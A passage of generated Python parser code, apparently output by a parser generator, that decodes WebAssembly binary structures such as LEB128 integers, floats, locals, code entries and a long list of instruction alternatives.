pos=0, fullparse=True): return _run(text, pos, _try_ByteVector, fullparse) ByteVector = Rule('ByteVector', _parse_ByteVector, """ ByteVector = vec(bytechar) |> `lambda x: b''.join(x)` """) def _try_bytechar(_text, _pos): # Rule 'bytechar' # Begin Regex # /[\\x00-\\xFF]/ match1 = matcher1(_text, _pos) if match1: _result = match1.group(0) _pos = match1.end() _status = True else: _result = _raise_error544 _status = False # End Regex yield (_status, _result, _pos) def _parse_bytechar(text, pos=0, fullparse=True): return _run(text, pos, _try_bytechar, fullparse) bytechar = Rule('bytechar', _parse_bytechar, """ bytechar = /[\\x00-\\xFF]/ """) def _raise_error544(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'bytechar' rule, at the expression:\n" ' /[\\\\x00-\\\\xFF]/\n\n' "Expected to match the regular expression /b'[\\\\x00-\\\\xFF]'/" ) raise ParseError((title + details), _pos, line, col) def _try_Name(_text, _pos): # Rule 'Name' # Begin Apply # vec(bytechar) |> `lambda x: b''.join(x).decode('utf8')` # Begin Call # vec(bytechar) func23 = _ParseFunction(_try_vec, (_try_bytechar,), ()) (_status, _result, _pos) = (yield (3, func23, _pos)) # End Call if _status: arg4 = _result _result = lambda x: b''.join(x).decode('utf8') _status = True _result = _result(arg4) # End Apply yield (_status, _result, _pos) def _parse_Name(text, pos=0, fullparse=True): return _run(text, pos, _try_Name, fullparse) Name = Rule('Name', _parse_Name, """ Name = vec(bytechar) |> `lambda x: b''.join(x).decode('utf8')` """) class LocatedName(Node): """ class LocatedName { start: `_pos` name: Name end: `_pos` } """ _fields = ('start', 'name', 'end') def __init__(self, start, name, end): Node.__init__(self) self.start = start self.name = name self.end = end def __repr__(self): return f'LocatedName(start={self.start!r}, name={self.name!r}, end={self.end!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_LocatedName, fullparse) def _try_LocatedName(_text, _pos): # Begin Seq start_pos43 = _pos while True: _result = _pos _status = True start = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Name, _pos)) # End Ref if not (_status): break name = _result _result = _pos _status = True end = _result _result = LocatedName(start, name, end) _result._metadata.position_info = (start_pos43, _pos) break # End Seq yield (_status, _result, _pos) def _try_byte(_text, _pos): # Rule 'byte' # Begin Apply # /[\\x00-\\xFF]/ |> `ord` # Begin Regex # /[\\x00-\\xFF]/ match2 = matcher1(_text, _pos) if match2: _result = match2.group(0) _pos = match2.end() _status = True else: _result = _raise_error561 _status = False # End Regex if _status: arg5 = _result _result = ord _status = True _result = _result(arg5) # End Apply yield (_status, _result, _pos) def _parse_byte(text, pos=0, fullparse=True): return _run(text, pos, _try_byte, fullparse) byte = Rule('byte', _parse_byte, """ byte = /[\\x00-\\xFF]/ |> `ord` """) def _raise_error561(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'byte' rule, at the expression:\n" ' /[\\\\x00-\\\\xFF]/\n\n' "Expected to match the regular expression /b'[\\\\x00-\\\\xFF]'/" ) raise ParseError((title + details), _pos, line, col) def _try_u32(_text, _pos): # Rule 'u32' # Begin Ref (_status, _result, _pos) = (yield (3, _try_UnsignedInt, _pos)) # End Ref yield (_status, _result, _pos) def _parse_u32(text, pos=0, fullparse=True): return _run(text, pos, _try_u32, fullparse) u32 = Rule('u32', _parse_u32, """ u32 = UnsignedInt """) def _try_i32(_text, _pos): # Rule 'i32' # Begin Ref (_status, _result, _pos) = (yield (3, _try_SignedInt, _pos)) # End Ref yield (_status, _result, _pos) def _parse_i32(text, pos=0, fullparse=True): return _run(text, pos, _try_i32, fullparse) i32 = Rule('i32', _parse_i32, """ i32 = SignedInt """) def _try_i64(_text, _pos): # Rule 'i64' # Begin Ref (_status, _result, _pos) = (yield (3, _try_SignedInt, _pos)) # End Ref yield (_status, _result, _pos) def _parse_i64(text, pos=0, fullparse=True): return _run(text, pos, _try_i64, fullparse) i64 = Rule('i64', _parse_i64, """ i64 = SignedInt """) def _try_f32(_text, _pos): # Rule 'f32' # Begin Apply # /[\\x00-\\xFF]{4}/ |> `lambda x: struct.unpack('<f', x)[0]` # Begin Regex # /[\\x00-\\xFF]{4}/ match3 = matcher2(_text, _pos) if match3: _result = match3.group(0) _pos = match3.end() _status = True else: _result = _raise_error571 _status = False # End Regex if _status: arg6 = _result _result = lambda x: struct.unpack('<f', x)[0] _status = True _result = _result(arg6) # End Apply yield (_status, _result, _pos) def _parse_f32(text, pos=0, fullparse=True): return _run(text, pos, _try_f32, fullparse) f32 = Rule('f32', _parse_f32, """ f32 = /[\\x00-\\xFF]{4}/ |> `lambda x: struct.unpack('<f', x)[0]` """) def _raise_error571(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32' rule, at the expression:\n" ' /[\\\\x00-\\\\xFF]{4}/\n\n' "Expected to match the regular expression /b'[\\\\x00-\\\\xFF]{4}'/" ) raise ParseError((title + details), _pos, line, col) def _try_f64(_text, _pos): # Rule 'f64' # Begin Apply # /[\\x00-\\xFF]{8}/ |> `lambda x: struct.unpack('<d', x)[0]` # Begin Regex # /[\\x00-\\xFF]{8}/ match4 = matcher3(_text, _pos) if match4: _result = match4.group(0) _pos = match4.end() _status = True else: _result = _raise_error575 _status = False # End Regex if _status: arg7 = _result _result = lambda x: struct.unpack('<d', x)[0] _status = True _result = _result(arg7) # End Apply yield (_status, _result, _pos) def _parse_f64(text, pos=0, fullparse=True): return _run(text, pos, _try_f64, fullparse) f64 = Rule('f64', _parse_f64, """ f64 = /[\\x00-\\xFF]{8}/ |> `lambda x: struct.unpack('<d', x)[0]` """) def _raise_error575(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64' rule, at the expression:\n" ' /[\\\\x00-\\\\xFF]{8}/\n\n' "Expected to match the regular expression /b'[\\\\x00-\\\\xFF]{8}'/" ) raise ParseError((title + details), _pos, line, col) def _try_SignedInt(_text, _pos): # Rule 'SignedInt' # Begin Apply # LEB128 |> `decode_signed_int` # Begin Ref (_status, _result, _pos) = (yield (3, _try_LEB128, _pos)) # End Ref if _status: arg8 = _result _result = decode_signed_int _status = True _result = _result(arg8) # End Apply yield (_status, _result, _pos) def _parse_SignedInt(text, pos=0, fullparse=True): return _run(text, pos, _try_SignedInt, fullparse) SignedInt = Rule('SignedInt', _parse_SignedInt, """ SignedInt = LEB128 |> `decode_signed_int` """) def _try_UnsignedInt(_text, _pos): # Rule 'UnsignedInt' # Begin Apply # LEB128 |> `decode_unsigned_int` # Begin Ref (_status, _result, _pos) = (yield (3, _try_LEB128, _pos)) # End Ref if _status: arg9 = _result _result = decode_unsigned_int _status = True _result = _result(arg9) # End Apply yield (_status, _result, _pos) def _parse_UnsignedInt(text, pos=0, fullparse=True): return _run(text, pos, _try_UnsignedInt, fullparse) UnsignedInt = Rule('UnsignedInt', _parse_UnsignedInt, """ UnsignedInt = LEB128 |> `decode_unsigned_int` """) def _try_LEB128(_text, _pos): # Rule 'LEB128' # Begin Regex # /[\\x80-\\xFF]*[\\x00-\\x7F]/ match5 = matcher4(_text, _pos) if match5: _result = match5.group(0) _pos = match5.end() _status = True else: _result = _raise_error586 _status = False # End Regex yield (_status, _result, _pos) def _parse_LEB128(text, pos=0, fullparse=True): return _run(text, pos, _try_LEB128, fullparse) LEB128 = Rule('LEB128', _parse_LEB128, """ LEB128 = /[\\x80-\\xFF]*[\\x00-\\x7F]/ """) def _raise_error586(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'LEB128' rule, at the expression:\n" ' /[\\\\x80-\\\\xFF]*[\\\\x00-\\\\x7F]/\n\n' "Expected to match the regular expression /b'[\\\\x80-\\\\xFF]*[\\\\x00-\\\\x7F]'/" ) raise ParseError((title + details), _pos, line, col) class CodeEntry(Node): """ class CodeEntry { let size: u32 locals: vec(Locals) expression: Expression } """ _fields = ('locals', 'expression') def __init__(self, locals, expression): Node.__init__(self) self.locals = locals self.expression = expression def __repr__(self): return f'CodeEntry(locals={self.locals!r}, expression={self.expression!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_CodeEntry, fullparse) def _try_CodeEntry(_text, _pos): # Begin Seq start_pos44 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(Locals) func24 = _ParseFunction(_try_vec, (_try_Locals,), ()) (_status, _result, _pos) = (yield (3, func24, _pos)) # End Call if not (_status): break locals = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break expression = _result _result = CodeEntry(locals, expression) _result._metadata.position_info = (start_pos44, _pos) break # End Seq yield (_status, _result, _pos) class Locals(Node): """ class Locals { count: u32 type: ValueType } """ _fields = ('count', 'type') def __init__(self, count, type): Node.__init__(self) self.count = count self.type = type def __repr__(self): return f'Locals(count={self.count!r}, type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Locals, fullparse) def _try_Locals(_text, _pos): # Begin Seq start_pos45 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break count = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ValueType, _pos)) # End Ref if not (_status): break type = _result _result = Locals(count, type) _result._metadata.position_info = (start_pos45, _pos) break # End Seq yield (_status, _result, _pos) def _try_Expression(_text, _pos): # Rule 'Expression' # Begin Discard # Instruction* << 0xb while True: # Begin List # Instruction* staging16 = [] while True: checkpoint16 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_Instruction, _pos)) # End Ref if not (_status): _pos = checkpoint16 break staging16.append(_result) _result = staging16 _status = True # End List staging17 = _result # Begin Byte # 0xb if (_pos < len(_text)) and (_text[_pos] == 11): _result = 11 _pos = (_pos + 1) _status = True else: _result = _raise_error607 _status = False # End Byte if _status: _result = staging17 break # End Discard yield (_status, _result, _pos) def _parse_Expression(text, pos=0, fullparse=True): return _run(text, pos, _try_Expression, fullparse) Expression = Rule('Expression', _parse_Expression, """ Expression = Instruction* << 0xb """) def _raise_error607(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Expression' rule, at the expression:\n" ' 0xb\n\n' 'Expected to match the byte value 0xb' ) raise ParseError((title + details), _pos, line, col) def _try_Instruction(_text, _pos): # Rule 'Instruction' # Begin Choice farthest_err11 = _raise_error609 backtrack24 = farthest_pos11 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_unreachable, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_nop, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_Block, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 4: # Begin Ref (_status, _result, _pos) = (yield (3, _try_Loop, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 5: # Begin Ref (_status, _result, _pos) = (yield (3, _try_If, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 6: # Begin Ref (_status, _result, _pos) = (yield (3, _try_br, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 7: # Begin Ref (_status, _result, _pos) = (yield (3, _try_br_if, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 8: # Begin Ref (_status, _result, _pos) = (yield (3, _try_br_table, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 9: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ret, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 10: # Begin Ref (_status, _result, _pos) = (yield (3, _try_call, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 11: # Begin Ref (_status, _result, _pos) = (yield (3, _try_call_indirect, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 12: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ref_null, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 13: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ref_is_null, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 14: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ref_func, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 15: # Begin Ref (_status, _result, _pos) = (yield (3, _try_drop, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 16: # Begin Ref (_status, _result, _pos) = (yield (3, _try_select, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 17: # Begin Ref (_status, _result, _pos) = (yield (3, _try_select_t, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 18: # Begin Ref (_status, _result, _pos) = (yield (3, _try_local_get, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 19: # Begin Ref (_status, _result, _pos) = (yield (3, _try_local_set, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 20: # Begin Ref (_status, _result, _pos) = (yield (3, _try_local_tee, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 21: # Begin Ref (_status, _result, _pos) = (yield (3, _try_global_get, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 22: # Begin Ref (_status, _result, _pos) = (yield (3, _try_global_set, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 23: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_get, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 24: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_set, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 25: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_load, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 26: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 27: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_load, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 28: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_load, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 29: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_load8_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 30: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_load8_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 31: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_load16_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 32: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_load16_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 33: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load8_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 34: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load8_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 35: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load16_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 36: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load16_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 37: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 38: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_load32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 39: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_store, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 40: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_store, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 41: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_store, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 42: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_store, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 43: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_store8, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 44: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_store16, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 45: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_store8, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 46: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_store16, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 47: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_store32, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 48: # Begin Ref (_status, _result, _pos) = (yield (3, _try_memory_size, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 49: # Begin Ref (_status, _result, _pos) = (yield (3, _try_memory_grow, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 50: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_const, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 51: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_const, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 52: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_const, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 53: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_const, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 54: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_eqz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 55: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_eq, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 56: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_ne, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 57: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_lt_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 58: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_lt_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 59: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_gt_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 60: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_gt_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 61: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_le_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 62: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_le_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 63: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_ge_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 64: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_ge_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 65: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_eqz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 66: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_eq, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 67: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_ne, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 68: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_lt_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 69: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_lt_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 70: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_gt_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 71: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_gt_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 72: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_le_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 73: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_le_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 74: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_ge_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 75: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_ge_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 76: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_eq, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 77: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_ne, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 78: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_lt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 79: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_gt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 80: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_le, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 81: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_ge, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 82: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_eq, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 83: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_ne, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 84: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_lt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 85: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_gt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 86: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_le, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 87: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_ge, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 88: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_clz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 89: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_ctz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 90: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_popcnt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 91: # Begin Ref (_status, _result, _pos) = (yield (3, 